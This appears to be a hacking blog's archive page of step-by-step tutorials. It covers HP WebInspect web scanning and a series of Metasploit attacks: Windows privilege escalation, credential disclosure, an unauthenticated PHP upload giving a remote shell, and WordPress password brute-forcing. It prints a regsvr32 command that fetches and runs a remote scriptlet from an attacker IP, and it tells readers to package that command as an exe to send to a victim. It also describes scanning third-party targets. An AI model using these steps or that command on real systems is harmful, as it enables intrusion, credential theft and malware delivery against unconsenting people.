Hacking

All articles on hacking.

Good evening friends. Today we will see the second part of WAPT with HPWebinspect. If you didn’t go through the first part, we ended it by scanning a website for vulnerabilities. The results have given us vulnerabilities categorized as critical, high, medium and low. That was the easiest part. Now we will go through analysis of these vulnerabilities.

Wait, but why do we need this analysis? Just because we have used an automated tool doesn’t mean it is cent percent effective. There may be lot of false positives and in the worst case false negatives. The threat it shows as critical may not be really that dangerous or a threat it shows as medium may be critical depending on the situation.

The analysis is very important part of the WAPT. Let us see how to perform this analysis with HPWebinspect. We will take our previous scan report.

hpwapt1

Before we do the analysis, let us have a look at the interface of HPWebinspect.  To the down left, we have view options of the scan ( site and sequence ). The “site view” shows us the hierarchical structure of website we just scanned with vulnerabilities found highlighted as shown below to the left. We can see that in account part of the website there is a critical vulnerability.

hpwapt2

The sequence view shows us the order in which WebInspect scanned the URLs. It is shown below.

hpwapt3

Occupying large area of the interface is the Scan dashboard with a pictorial representation of vulnerabilities. It also has vulnerabilities classified into its attack types ( how exactly these vulnerabilities will be used ).To its left, we have sections called scan info, session info and host info. The scan info has four options : dashboard, traffic monitor, attachments and false positives. We have already seen dashboard and others are self explanatory.

Below scan info we have have session info. It is empty because we didn’t include any sessions in our scan.

hpwapt4

Below session info, we have the host info which is obviously information about the host we scanned. It will provide us info like P3P info ( protocol allowing websites to declare their intended use of information they collect about users) , AJAX, certificates etc, etc, etc. Let us look at the cookies collected by the scan.

hpwapt5

It also shows us the emails we found during scan.

hpwapt6

Also the forms.

hpwapt7

Now we come to the most important part of the interface which is right down below. These are the vulnerabilities found during the scan. As already said, these are classified according to the dangers posed by them but there may be false positives. We need to analyse each vulnerability for this exact reason.

hpwapt8

In this howto, we will cover analysis of one or two vulnerabilities. Expand the “critical” section of vulnerabilities. We can see that there is a XSS vulnerability in the search page. We will analyse this vulnerability.

hpwapt9

Click on the vulnerability. The dashboard will show information about the particular vulnerability ( in our case XSS ) and how hackers might exploit this.

hpwapt10

Scroll down the dashboard to get more info about the vulnerability. We can see the exact query used by the tool to get the result. In this case, our target is using tag removal to prevent XSS but we can bypass using the query given below. ( We will learn more about XSS and its evasion filters in a separate howto)

hpwapt10a

Now right click on the vulnerability we are analysing. In the menu that opens, click on “View in Browser” to see this exploit practically in the browser.

hpwapt11

We can see the browser result below. In this case, it is displaying a messagebox with a number but hackers can use it to display cookies and session ids. Hence this is definitely a critical vulnerability.

hpwapt12

Right click on the vulnerability and select the option “Review vulnerability”. This is helpful in knowing more precisely about the vulnerability.

hpwapt13

Another window will open as shown below. It will automatically show you the browser view.

hpwapt14

We can click on “Request tab”to see the request sent by our tool.

hpwapt15

Similarly the response tab shows us the response given by the target.

hpwapt16

We already saw this before in the dashboard. The “vulnerability tab” give us information about the vulnerability and how hackers might exploit it. There are also options like “Retest” and “Mark as”. The Retest option allows us to test the vulnerability again. We shall see the “mark as” option below.

hpwapt17

Close the window. Once again right click on the vulnerability. You can see the option “change severity”.

hpwapt18

For instance, the vulnerability detected by HPwebinspect is not that critical, we can change its severity suitably to high or medium or low.

hpwapt19

Now what if the vulnerability detected  is not an actual vulnerability. This is known as false positive. For example, we have this send feedback page of the target website. Let us assume it is just a false positive. In that scenario, just below the “review vulnerability” option we have “Mark as” option.

hpwapt20

We can also access this option from the “review vulnerability” window as already shown above.

hpwapt20a

When we click on that option, we get two sub-options to mark it either as false positive as shown below

hpwapt21

or to completely ignore the vulnerability. We can only ignore the vulnerability if it doesn’t pose any valid threat. We can also provide some description about why we are marking it as false positive or ignoring.

hpwapt22

When we have successfully finished reviewing each vulnerability, it’s time to write the penetration testing report. To automatically generate a report, click on “Reports” tab. Select the scan for which you want to generate the report and click on “Next”.

hpwapt23

Select whatever you want to include in your report as shown below and click on Finish.

hpwapt24

The report generation takes some time depending on the options you selected. The report generated would be in the format as shown below. That’s all for now and in our next howto, we will see more about the tool.

hpwapt25

 

Web application penetration testing refers to evaluating the security of websites and web applications. Websites evolved from being simple static HTML pages to incorporate complex dynamic features with bells and whistles. These bells and whistles also brought with them lot of vulnerabilities and thus websites became common targets for hackers. So web application penetration testing is considered very important nowadays.

WAPT could be performed manually or through automatic tools. Automated tools provide lot of advantages over manual testing most importantly the speed. HP Webinspect is one such tool.

It is an automated web application security scanning tool from HP. It helps the security professionals to assess the potential vulnerabilities in the web application. It is basically an automated dynamic application security testing (DAST) tool that mimics real-world hacking techniques and attacks, and provides comprehensive dynamic analysis of complex web applications and services. See how to install HPwebinspect in Windows.

Today we will see how to perform website vulnerability assessment with HPWebinspect. Open the program and click on basic scan. We will see other scan options in the following parts of this tutorial. As its name implies, this option performs a basic security scan on a website.

webinspectbasicscan1

As we select the basic scan option, the “scan wizard” opens as shown below. As I am using a trial version of HPWebinspect I am only allowed to scan the website deliberately provided by HP for this purpose. This website simulates a bank ( named zero bank ) and this will be our target from now on.

I allot the given name. Below the scan name option, we have features with radio buttons. Let’s see these options.

crawl:- This process makes a list of all the pages  on the entire website and builds its structure.

auditing:- Auditing is the process in which HPwebinspect will attack the website to find out the vulnerabilities.

I have selected the “crawling and auditing” option. HP Webinspect provides four types of scans.

Standard scan:- Normal scan.
List Driven scan:- You can specify the list of urls for the tool to scan. It will only scan those urls.
Workflow Driven scan:- Similar to list driven scan. You can scan a port of your website by specifying a macro.
Manual scan:- You can specify each link you want to scan. step by step.

Next specify the website you want to scan and click on “Next”.

webinspectbasicscan2

In the next window, you will be prompted for authentication. If your website or network requires authentication, provide them . Choose if you want network proxy or not and click on “Next“.

webinspectbasicscan3

The profiler automatically samples the website and recommends best configuration for the scan. You can select the option. We will see more about profiler later. There are some other settings. Leave them to their default settings and click on “Next”.

webinspectbasicscan4

You will get a congrats message telling about the successful configuration of scan settings. It’s time to start the scan. Click on “scan”.

webinspectbasicscan5

The scan will start as shown below. It will take some time dependent on the size of the website you are scanning.

webinspectbasicscan6

After the scan is finished, it will show the results as shown below. This tool classifies vulnerabilities into critical, high, medium, low and info. That was about basic scanning of website with HPWebinspect.

webinspectbasicscan7

In our next part, we will see analyzing these vulnerabilities.

Good evening friends. Recently we have seen privilege escalation in Windows 7 with bypass uac exploit. Today we will see another exploit ms16-016 mrxdav.sys WEBDAV for privilege escalation in Windows 32bit machines. mrxdav.sys is a Windows driver. It is also called as Windows NT WebDav Minirdr and is used on Windows computers to utilize WebDAV servers. This exploit uses the Microsoft Web Distributed Authoring and Versioning (WebDAV) client to send specifically crafted input to a server to escalate privileges.

First hack the system with Metasploit by using one of the methods shown  in Latest hacks. Once you got a meterpreter session, check the privileges by typing command “getuid“.  We don’t have system privileges. Background the session by typing command “background” as shown below.

webdav1

Load the ms16_016_webdav exploit as shown below.

webdav2

We need only one option: session id of the session we just backgrounded. Set the session id as shown below. Run the exploit. The exploit ran successfully.

webdav3

Now verify the privileges by typing “getuid” command once again as shown below.  We successfully got system privileges.

webdav4

 

Hello friends. Today we will see two exploits: credential disclosure and arbitrary text file download in WebNMS Framework server 5.2. To those newbies who don’t know what WebNMS Framework Server is, it is an industry-leading framework for building network management applications and has over 25,000 deployments worldwide.Its latest version consists two vulnerabilities : credential disclosure and arbitrary text file download.

First let us see the credential disclosure exploit. Start Metasploit and load the exploit as shown below. Type command “show options” to check its options. This server runs on port 9090.

webnms1

Set the target and run the exploit. It will download the credentials and store it in a file as shown below.

webnms2

The next vulnerability is arbitrary text file download. Load the exploit and see its options. It is automatically set to download shadow file in Linux.

webnms3

Before running the exploit type command “info” to see the information about this exploit. As you can see below, it can only download text files and if it is a Windows instance the file should be in the same directory of WebNMS.

webnms4

Since we are running WebNMS framework server on a Windows machine, I have created a text file called secret.txt in the same directory. Let us try the exploit now. Set the target address, file path as shown below and run the exploit. We can see that the file has benn successfully downloaded and saved in a directory.

webnms5

Hello aspiring hackers. Today we will see an exploit in Tiki Wiki CMS Groupware version <=15.1. Tiki Wiki CMS Groupware or simply Tiki, originally known as TikiWiki, is a free and open source Wiki-based content management system and online office suite.  It contains a number of collaboration features allowing it to operate as a Groupware. Groupware is an application software designed to help people involved in a common task to achieve their goals.

This exploit takes advantage of a file upload vulnerability in one of the 3rd party components, ELFinder 2.0. This component comes with default example page which demonstrates file operations such as upload, remove, rename, create directory etc. Default configuration does not force validations such as file extension, content-type etc. Thus, unauthenticated user can upload a PHP file.

Start Metasploit and load the exploit as shown below. Type command “show options” to see the options required to run this exploit.

tiki1

Set the target as shown below and check if it is vulnerable using “check“command.

tiki2

Type command “show payloads” to see the payloads we can set to this exploit. Set the payload as I have set below.

tiki3

Check the options once again after setting the payload. They should look like below.

tiki4

Let’s run this exploit by typing command “run”. We can see that we successfully got the meterpreter shell on the target as shown below.

tiki5

Hello friends. A while ago, we saw Poison Ivy buffer overflow exploit. This exploit is just like the Poison Ivy exploit but this time we target Darkcomet RAT. ( We will learn more about Darkcomet and RAT’s later ). In this case we can just download a file from the system running Darkcomet server.

Start Metasploit and load the exploit as shown below. Type command “show options” to see the options we need.  Look at the options. Although you are familiar with the usual options, there are some new options like NEWVERSION, STORE_LOOT and TARGETFILE.

-NEWVERSION : This exploit works on all darkcomet versions from 3.2 to above. If the version we are targeting is                                       above 5.1, we need to set this option to “true”.

-STORE_LOOT : If you set this option to true, the file we download will be stored in loot. If the option is false, the                                       contents of the file will be outputted to console.

-TARGETFILE : the file to be downloaded from the remote system.

dcometfd1

Set the options as required. I have set store_loot option to false. If you don’t set any targetfile, by default it will download the config file of Darkcomet.

dcometfd2

Let’s see by running the exploit. We can see the contents of Darkcomet configuration file as shown below.

dcometfd3 dcometfd4

Now let’s try to download another file. For this, we need the RC4 key of Darkcomet and the password you got in the config file is useless. But there is high probability that a password has not been set. Then we can just set the DC prefix as key and run the exploit as shown below.

Here I am trying to download the hosts file but encounter an error. It’s probably Windows UAC protecting us.

dcometfd5

Now let’s create a text file in the admin folder called hello.txt with content as “hello hacker”. Now set this as target file and run the exploit. We can see that the text of the file is successfully displayed as shown below.

dcometfd6

Good morning friends. Not all vulnerabilities are unauthenticated, sometimes we require credentials to exploit a vulnerability like the WordPress ajax loadmore Php upload exploit we saw in one of  previous howtos. But how do we get these credentials. Metasploit has an auxiliary module for WordPress user enumeration. Let’s see how this exploit works.

Start Metasploit and load the wordpress user enumeration exploit as shown below. Type command “show options” to see the options we can specify. We can see a variety of options. All the options are self explanatory but let us see some of the options.

The “BLANK_PASSWORDS” option if set will check if any of the users are without any password. The “VERBOSE”option will display more clearly what the module is doing. The “USERNAME” and “PASSWORD” option will check for single username and password respectively. The “USER_AS_PASS” option will check whether the username itself is being used as password. The USER_FILE and PASS_FILE are used to specify file for usernames and passwords to enumerate respectively. The VALIDATE_USERS option will first validate if user exists on the target even before trying to crack his password.

wpuserenum1 wpuserenum2

The “USER_PASS” file option allows us to specify the same file for username and password as shown below. Here I have specified a wordlist consisting of most common passwords as the USER_PASS file. When we execute the module, we can see that it will first validate all the usernames.

wpuserenum3 wpuserenum4

What if we know the username? The first question is how will we know the username. Just go through one of our previous howto : WordPress vulnerability assessment  with WPSCAN. The tool gave use a hint that username is “root”. Now we will set the username as root, specify a common password dictionary as password file as shown below.

wpuserenum5

When I run the script, it confirms that the username is valid and tries all words in the dictionary as password one by one.

wpuserenum6

After some time we can see that we successfully cracked the password for user “root” as “123456”.

wpuserenum7

HOW TO STAY SAFE:

Never use not only common passwords but also common usernames for your websites. Still most of the people tend to use common usernames like admin, administrator etc. and common passwords.

 

 

WordPress is one of the most popular CMS available for websites. It can be used to create a beautiful website, blog, or app. As its developers say, “WordPress is both free and priceless at the same time”. Its latest release to time, 4.5 has been downloaded 40,446,377 times till editing of this howto. But being popular in field of hacking has its own disadvantages. The latest version suffers from oEmbed Denial of Service (DoS), Password Change via Stolen Cookie and Redirect Bypass vulnerabilities.

Similarly every version of WordPress has some vulnerability or other. But how do we find out which version of WordPress is the site running. Metasploit has an auxiliary module for WordPress version detection. Let’s see how it works.

Start Metasploit and load the module. Type command “show options” to see the options we required for this module.

wpversion1

Multiple IP addresses can be set as shown below. I am trying five targets.

wpversion2

After assigning IP addresses, type command “run” to execute the exploit. The first target is my own. As you can see, our two of our targets responded with their version. But what about others? Maybe a firewall is blocking our request or maybe our targeturi is wrong. Please try this scan with targeturi set to “/” and also “/wordpress” for better results.

wpversion3

By the way, version 4.1 suffers from a arbitrary file upload vulnerability.

It is becoming difficult ( although not impossible ) day by day to hack Windows with no vulnerabilities like ms08_067  and of course a lot of security features enabled in Windows. But where there is a will, there is always a way.  Regsvr32 applocker bypass exploit is one such exploit. To understand how this exploit works, you need to know some things like dll and applocker.

AppLocker introduced in Windows 7 and Windows Server 2008 R2 provides administrators to set rules to allow or deny applications from running. These rules could be used for executable files (.exe and .com), scripts (.js, .ps1, .vbs, .cmd, and .bat), Windows Installer files (.msi and .msp), and DLL files (.dll and .ocx).

Ok, now what is a dll? A dll is a dynamic link library. A dynamic link library contains code and data which can be used by multiple programs at the same time. These libraries usually have  file extensions DLL, OCX (for libraries containing ActiveX controls), or DRV (for legacy system drivers).

Ok now let us see how this exploit works? Start Metasploit and load the exploit as shown below. Check the options we need to set? We can see that the reverse_tcp  meterpreter payload is already set. We will be using  this payload only.

regsvr31

Set all the required options as shown below. SRVhost and lhost are the IP address of our attacker system. After all options are set, type command “run” to run this exploit. It finishes by giving us a command as shown below. We need to run this command on our target system.

regsvr32 /s /n /u /i:http://192.168.25.147:8080/Z1115Nj.sct scrobj.dll

Now let us understand this command discovered by researcher Casey Smith. Regsvr32 is a command line utility to register .dll files as command components in the registry. The ‘s’ option specifies regsvr32 to run silently without displaying any message boxes. The ‘n’ option specifies regsvr32 to not call DllRegisterServer. Since we have specified regsvr32 not to call DLLregisterserver, we should specify another address. We can do this by using “i” option and the IP address where we want ( attacker IP ).

You can see above that our exploit has created a link above for an sct file and a dll.

regsvr32

Now it’s time for our victim to type our command on his system. Copy the command on Notepad and save it as a batch file. Convert this file to exe and send this file to the victim. I have shown one method here.

regsvr33

Now we have to start a listener as shown below.

regsvr34

Set the options exactly as we set for the exploit. So, set the port to 1111. After all the options are set, type “run” to run this exploit. If you get an error like shown below, just change the port and type “run” again. That is just a minor glitch in Metasploit.

After typing “run” the exploit will hang on as shown below.

regsvr35

When our user clicks on our file we sent him, a meterpreter session is opened as shown below.

regsvr36

This may not directly take you to a meterpreter shell and hang on as shown above. Hit on CTRL+C to interrupt the session as shown below.

regsvr37

Next type “sessions -l” to see the available meterpreter sessions. when you get the available sessions type command “sessions -i 2” where “2” is its session id as shown below. Next, well you know what it is.

regsvr38

Bypass uac stands for bypassing user account control. User account control is the security measure introduced in Windows OS since Windows 7. It helps in preventing any malicious program from running with admin privileges. With UAC, applications and tasks always run with privileges of a standard or non-administrator account, unless a user authorizes administrator-level access to the system. UAC will not allow any unauthorized program from making any inadvertent changes to the system.

This may include even our meterpreter shell. We have seen many exploits where we got meterpreter shell. But when you check your privileges by typing command “getuid”, we can see that we are running as a standard user as shown below. When we try to get system privileges with  command “getsystem”, we can see it failed.

epw71

Bypass uac exploit as its name implies, bypasses the user account control security feature in Windows 7 to give us system privileges.  This is available in Metasploit. For this exploit to work, we should already have a meterpreter shell on our target system.

Now let use see how to get system privileges with this exploit. First background the current meterpreter session by typing command “background”. Next search for bypassuac exploit as shown below.

epw72

Load the exploit as shown below. Type command “show options” to see what options we need to set. We can see only one option is required: session. This is the session id number with which our previous meterpreter session was running. While we background our session, we saw that our session id number is 1. ( see the above image ). Set session id option to 1 as shown below.

epw73

Type command “exploit” to run our exploit. Type command “getsystem” to try to get the system privileges once again. This time we successfully got the system privileges as shown below.

epw74